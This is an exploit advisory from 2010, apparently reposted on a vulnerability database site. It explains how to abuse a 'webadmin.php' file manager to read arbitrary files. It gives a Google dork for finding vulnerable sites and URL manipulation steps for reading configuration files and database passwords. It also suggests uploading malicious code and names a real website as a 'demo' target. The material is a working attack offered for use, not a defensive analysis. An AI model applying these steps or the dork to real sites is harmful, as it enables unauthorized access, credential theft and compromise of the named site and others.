==========================================================
Read local Config File source (webadmin.php) Vulnerability
==========================================================
Author : DrgpxX
Group : Aras cyber Army
Email : [email protected]
Discover : 13 june 2010
Critical Lvl : high
Publised : 15 june 2010
---------------------------------------------------------------------------
Read local Config File source (webadmin.php)
~~~~~~~~~
Dork : Inurl:"webadmin.php"
~~~~~~~~~~~~~~~~~~
For read config file or etc just Click on change button and next url must be
like :: webadmin.php?id=drq8bvtuvhhqhq4ka8vcg11kn3&dir=%2Fvar%2Fwww%2Fvhosts%2target.com%2Fhttpdocs%2F
now clear id=drq8bvtuvhhqhq4ka8vcg11kn3& in url and write ur file to read source like
dir=index.php
wow ! now u can read data like dbpass traversing directories hijacking source file and etc
IF upload enabled!
you can upload Your evil Code !
~~~~~~~~~~~~~~~~~~~~~~~~~
demp site : just for edu)
http://www.albania-sport.com/webadmin.php
+++++++++++++++++++++++++++++++++++++++
[!] greetiz to ::
D3stan,grtl,mehdi,hamed.err000r
All Muslim , Turkish , iranian hackers
+++++++++++++++++++++++++++++++++++++++
# 0day.today [2018-04-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation